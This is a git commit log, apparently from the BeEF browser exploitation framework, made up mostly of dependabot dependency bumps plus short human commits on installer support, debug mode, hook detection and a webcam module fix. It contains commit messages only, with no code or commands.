- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.2...v3.0.3)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-17 12:49:47 +10:00
dependabot[bot]
a69ec9e378 Bump rack-protection from 3.0.2 to 3.0.3 (#2627)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 3.0.2 to 3.0.3.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.2...v3.0.3)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-17 12:49:17 +10:00
dependabot[bot]
46b38616bf Bump rubocop from 1.38.0 to 1.39.0 (#2628)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.38.0 to 1.39.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.38.0...v1.39.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-17 01:21:56 +10:00
dependabot[bot]
235d457ff2 Bump rubocop from 1.37.1 to 1.38.0 (#2617)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.37.1 to 1.38.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.37.1...v1.38.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-14 13:18:38 +10:00
dependabot[bot]
596e29a8c8 Bump jsdoc from 3.6.11 to 4.0.0 (#2621)
Bumps [jsdoc](https://github.com/jsdoc/jsdoc) from 3.6.11 to 4.0.0.
- [Release notes](https://github.com/jsdoc/jsdoc/releases)
- [Changelog](https://github.com/jsdoc/jsdoc/blob/main/CHANGES.md)
- [Commits](https://github.com/jsdoc/jsdoc/compare/3.6.11...4.0.0)

---
updated-dependencies:
- dependency-name: jsdoc
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-14 13:18:24 +10:00
dependabot[bot]
6d7872f4f5 Bump capybara from 3.37.1 to 3.38.0 (#2622)
Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.37.1 to 3.38.0.
- [Release notes](https://github.com/teamcapybara/capybara/releases)
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.37.1...3.38.0)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-14 13:18:16 +10:00
dependabot[bot]
4b6e7a84af Bump selenium-webdriver from 4.5.0 to 4.6.1 (#2623)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.5.0 to 4.6.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-14 13:17:55 +10:00
dependabot[bot]
56945df5b8 Bump net-smtp from 0.3.2 to 0.3.3 (#2616)
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.3.2 to 0.3.3.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.3.2...v0.3.3)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-01 11:47:23 +10:00
dependabot[bot]
8ccbd4b52f Bump rspec from 3.11.0 to 3.12.0 (#2615)
Bumps [rspec](https://github.com/rspec/rspec-metagem) from 3.11.0 to 3.12.0.
- [Release notes](https://github.com/rspec/rspec-metagem/releases)
- [Commits](https://github.com/rspec/rspec-metagem/compare/v3.11.0...v3.12.0)

---
updated-dependencies:
- dependency-name: rspec
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-01 11:46:50 +10:00
dependabot[bot]
721705e067 Bump rubocop from 1.36.0 to 1.37.1 (#2613)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.36.0 to 1.37.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.36.0...v1.37.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-25 00:35:47 +11:00
bcoles
dec3b4a6d4 install: warn rather than exit upon failure when updating rubygems (#2612) 2022-10-24 17:52:40 +11:00
bcoles
e789fbd71c Update Gemfile.lock (#2611) 2022-10-23 17:57:14 +11:00
dependabot[bot]
e3ee48415b Bump nokogiri from 1.13.8 to 1.13.9 (#2610)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.8 to 1.13.9.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.8...v1.13.9)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-21 15:32:28 +10:00
jcrew99
024b2f3e78 Revert "Revert "Add support for the SuSE family in the installer (#2590)" (#2594)" (#2603)
This reverts commit dc9e41c55a.
2022-10-17 15:02:48 +10:00
dependabot[bot]
50c06a9a29 Bump sqlite3 from 1.5.2 to 1.5.3 (#2598)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.5.2 to 1.5.3.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.5.2...v1.5.3)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:27:21 +10:00
dependabot[bot]
d188edf25b Bump sinatra from 2.2.2 to 3.0.2 (#2593)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 2.2.2 to 3.0.2.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.2.2...v3.0.2)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:56 +10:00
dependabot[bot]
ea86221710 Bump irb from 1.4.1 to 1.4.2 (#2592)
Bumps [irb](https://github.com/ruby/irb) from 1.4.1 to 1.4.2.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.4.1...v1.4.2)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:26 +10:00
dependabot[bot]
c302bf78f6 Bump test-unit from 3.5.3 to 3.5.5 (#2591)
Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.5.3 to 3.5.5.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.5.3...3.5.5)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:14 +10:00
dependabot[bot]
b993c55e9a Bump rack-protection from 2.2.2 to 3.0.2 (#2588)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 2.2.2 to 3.0.2.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.2.2...v3.0.2)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:00 +10:00
dependabot[bot]
71a678cf9a Bump selenium-webdriver from 4.4.0 to 4.5.0 (#2584)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.4.0 to 4.5.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.4.0...selenium-4.5.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:06:31 +10:00
dependabot[bot]
10e984c94b Bump net-smtp from 0.3.1 to 0.3.2 (#2583)
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.3.1 to 0.3.2.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.3.1...v0.3.2)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-07 15:01:59 +10:00
jcrew99
dc9e41c55a Revert "Add support for the SuSE family in the installer (#2590)" (#2594)
This reverts commit 03f70879f2.
2022-10-07 14:57:12 +10:00
Ben
03f70879f2 Add support for the SuSE family in the installer (#2590) 2022-10-07 14:56:29 +10:00
dependabot[bot]
1152715646 Bump espeak-ruby from 1.0.5 to 1.1.0 (#2580)
Bumps [espeak-ruby](https://github.com/dejan/espeak-ruby) from 1.0.5 to 1.1.0.
- [Release notes](https://github.com/dejan/espeak-ruby/releases)
- [Changelog](https://github.com/dejan/espeak-ruby/blob/master/CHANGELOG)
- [Commits](https://github.com/dejan/espeak-ruby/compare/v1.0.5...v1.1.0)

---
updated-dependencies:
- dependency-name: espeak-ruby
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-07 14:55:09 +10:00
dependabot[bot]
8abae7cc85 Bump sqlite3 from 1.5.0 to 1.5.2 (#2589)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.5.0 to 1.5.2.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.5.0...v1.5.2)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-05 13:11:37 +10:00
dependabot[bot]
6041cbf595 Bump websocket-client-simple from 0.5.1 to 0.6.0 (#2573)
Bumps [websocket-client-simple](https://github.com/ruby-jp/websocket-client-simple) from 0.5.1 to 0.6.0.
- [Release notes](https://github.com/ruby-jp/websocket-client-simple/releases)
- [Changelog](https://github.com/ruby-jp/websocket-client-simple/blob/master/History.txt)
- [Commits](https://github.com/ruby-jp/websocket-client-simple/compare/v0.5.1...v0.6.0)

---
updated-dependencies:
- dependency-name: websocket-client-simple
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-09-29 10:06:38 +10:00
jcrew99
ed4c9169b3 Update ISSUE_TEMPLATE.md 2022-09-21 22:21:12 +10:00
jcrew99
d8b5331544 Update README.md (#2571)
Added discord link to readme.md
2022-09-19 14:01:01 +10:00
dependabot[bot]
a0b589ecd2 Bump sqlite3 from 1.4.4 to 1.5.0 (#2566)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.4.4 to 1.5.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.4.4...v1.5.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-09-12 23:42:24 +10:00
dependabot[bot]
6f5f5e7493 Bump rubocop from 1.35.1 to 1.36.0 (#2557)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.35.1 to 1.36.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.35.1...v1.36.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-09-02 15:04:17 +10:00
dependabot[bot]
b3d2ee8016 Bump rubocop from 1.35.0 to 1.35.1 (#2552)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.35.0 to 1.35.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.35.0...v1.35.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-23 14:44:19 +10:00
dependabot[bot]
cbc5ce1601 Bump pry-byebug from 3.10.0 to 3.10.1 (#2548)
Bumps [pry-byebug](https://github.com/deivid-rodriguez/pry-byebug) from 3.10.0 to 3.10.1.
- [Release notes](https://github.com/deivid-rodriguez/pry-byebug/releases)
- [Changelog](https://github.com/deivid-rodriguez/pry-byebug/blob/master/CHANGELOG.md)
- [Commits](https://github.com/deivid-rodriguez/pry-byebug/compare/v3.10.0...v3.10.1)

---
updated-dependencies:
- dependency-name: pry-byebug
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-18 11:52:56 +10:00
dependabot[bot]
8a0e122dc9 Bump pry-byebug from 3.9.0 to 3.10.0 (#2547)
Bumps [pry-byebug](https://github.com/deivid-rodriguez/pry-byebug) from 3.9.0 to 3.10.0.
- [Release notes](https://github.com/deivid-rodriguez/pry-byebug/releases)
- [Changelog](https://github.com/deivid-rodriguez/pry-byebug/blob/master/CHANGELOG.md)
- [Commits](https://github.com/deivid-rodriguez/pry-byebug/compare/v3.9.0...v3.10.0)

---
updated-dependencies:
- dependency-name: pry-byebug
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-17 14:02:49 +10:00
dependabot[bot]
74325078cc Bump rubocop from 1.34.1 to 1.35.0 (#2539)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.34.1 to 1.35.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.34.1...v1.35.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-15 12:30:41 +10:00
dependabot[bot]
111a07c016 Bump rubocop from 1.33.0 to 1.34.1 (#2536)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.33.0 to 1.34.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.33.0...v1.34.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-10 23:43:22 +10:00
dependabot[bot]
c318b31fd7 Bump selenium-webdriver from 4.3.0 to 4.4.0 (#2535)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.3.0 to 4.4.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.3.0...selenium-4.4.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-10 23:36:40 +10:00
dependabot[bot]
72261c4fcd Bump rubocop from 1.32.0 to 1.33.0 (#2528)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.32.0 to 1.33.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.32.0...v1.33.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-08 12:39:19 +10:00
ThumusLive
92e5a50f9b fREADME: Update Ruby website link (#2512) 2022-08-05 10:22:58 +10:00
bcoles
9f99d65e39 WebRTC: Rename Rtc model classes to align with ActiveRecord syntax (#2524) 2022-08-01 17:55:19 +10:00
bcoles
8d98a8e205 Bump Ruby version to 3.0.3 (#2523)
* Bump Ruby version to 3.0.3

* Add net-smtp to Gemfile to support Ruby 3.0 < 3.1

* Update Gemfile.lock
2022-08-01 16:08:26 +10:00
bcoles
77983167db Update dependencies (#2522) 2022-08-01 14:34:31 +10:00
dependabot[bot]
d1df07f13d Bump rack-protection from 2.2.0 to 2.2.1 (#2507)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 2.2.0 to 2.2.1.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/v2.2.1/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.2.0...v2.2.1)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 21:25:22 +10:00
dependabot[bot]
70685c94a4 Bump browserstack-local from 1.3.0 to 1.4.0 (#2509)
Bumps [browserstack-local](https://github.com/browserstack/browserstack-local-ruby) from 1.3.0 to 1.4.0.
- [Release notes](https://github.com/browserstack/browserstack-local-ruby/releases)
- [Changelog](https://github.com/browserstack/browserstack-local-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/browserstack/browserstack-local-ruby/commits)

---
updated-dependencies:
- dependency-name: browserstack-local
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 18:17:44 +10:00
dependabot[bot]
d761611056 Bump rubocop from 1.31.2 to 1.32.0 (#2511)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.31.2 to 1.32.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.31.2...v1.32.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 18:16:56 +10:00
MyLoginOnGitHub
87318f5a14 Fixed bug when response_data is empty when http.response_data.length is <= 100K (#2510)
* Fixed bug when response_data is empty when http.response_data.length <= 100K

* Refactor: do not modify field. Modify local variable instead
2022-07-22 10:05:54 +10:00
dependabot[bot]
94063f2f33 Bump activerecord from 7.0.3 to 7.0.3.1 (#2499)
Bumps [activerecord](https://github.com/rails/rails) from 7.0.3 to 7.0.3.1.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v7.0.3.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.0.3...v7.0.3.1)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-13 23:02:24 +10:00
dependabot[bot]
fc7df4748f Bump rubocop from 1.26.1 to 1.31.2 (#2488)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.26.1 to 1.31.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.26.1...v1.31.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-13 15:19:47 +10:00
Megan Howell
24dd89884b Install: Add support for ArcoLinux and BlackArch (#2487) 2022-07-07 12:00:25 +10:00
iWhacko
e69281e341 Bugfix/module html5 webcam (#2392)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fixed deprecated call to "window.URL.createObjectURL" on newer browsers
- Fixed bug where no image would be shown even if the picture was taken. (image size too large)
- added option to module to choose image size.

* fixed config we default

* fix codeql

Co-authored-by: Whacko <not@gonna.tel>
Co-authored-by: wheatley <wheatand@gmail.com>
2022-07-02 18:28:08 +10:00
wheatley
ddc06f1d7e Update stale.yml 2022-07-02 18:09:31 +10:00
wheatley
8d23c0e482 updated to run debug mode every 5mins 2022-07-02 17:48:31 +10:00
wheatley
28618367ea Add bot to help keep the issue backlog clean. (#2447)
* Create stale.yml

* Updated with exemptions and days

* updated closed days and message

* Update stale.yml
2022-07-02 17:38:29 +10:00
jcrew99
b1382e0be3 removing spelling mistake in configuration_spec (#2483) 2022-06-30 15:59:40 +10:00
Isaac Powell
c1e63d2486 Update issue template (#2473)
* updated issue template

* added loggin info
2022-06-24 15:56:25 +10:00
iWhacko
b56345fcdf Bugfix/browse offline zombies (#2388)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

(cherry picked from commit fed79d7142)

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fixed a small mistake in a comment"

Co-authored-by: Whacko <not@gonna.tel>
2022-06-24 15:39:47 +10:00
Isaac Powell
0221a1c7da 2364 inotes modules defect and error handling (#2374)
* Fix spelling error, add try catch handling

* update error message
2022-06-24 15:22:36 +10:00
jcrew99
de60112928 Update thin gem (#2471)
* Updated Rack version

* Updated rack gem

* Updated to the latest version

* updating sinatra
2022-06-24 00:51:11 +10:00
jcrew99
7a1e500946 Update thin gem (#2470)
* Updated Rack version

* Updated rack gem
2022-06-24 00:30:34 +10:00
Isaac Powell
eea9740f4f Initial hook detection (#2440)
* initial multi-stage with basic switch on useragent

* added legacybrowseruseragents to core

* moved logic to a method and debugging

* array for holding legacy browsers

* added are.js back for parity to legacy hook.js

* removed byebug
2022-06-23 16:00:57 +10:00
slimwang
73a3d17f29 Fixed isDebug not work in beef.js (#2013)
* fixed isDebug not work

* fixed JQMIGRATE print extra message to console

* fix debug mode not work

* testing approval process

* Update github_actions.yml

Co-authored-by: kinovir <kinovir@gmail.com>
Co-authored-by: t3hp0rP <github@pr0ph3t.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2022-06-23 15:49:44 +10:00
Peter Mosmans
f68e420318 feat: optimize Docker image (#2398) 2022-06-09 23:01:49 +10:00
dependabot[bot]
b87463a60d Bump curb from 1.0.0 to 1.0.1 (#2410) 2022-06-09 16:00:45 +10:00
dependabot[bot]
107cdd3f54 Bump capybara from 3.36.0 to 3.37.1 (#2417)
Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.36.0 to 3.37.1.
- [Release notes](https://github.com/teamcapybara/capybara/releases)
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.36.0...3.37.1)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:58:18 +10:00
dependabot[bot]
d9d2c9c64b Bump json from 2.6.1 to 2.6.2 (#2420)
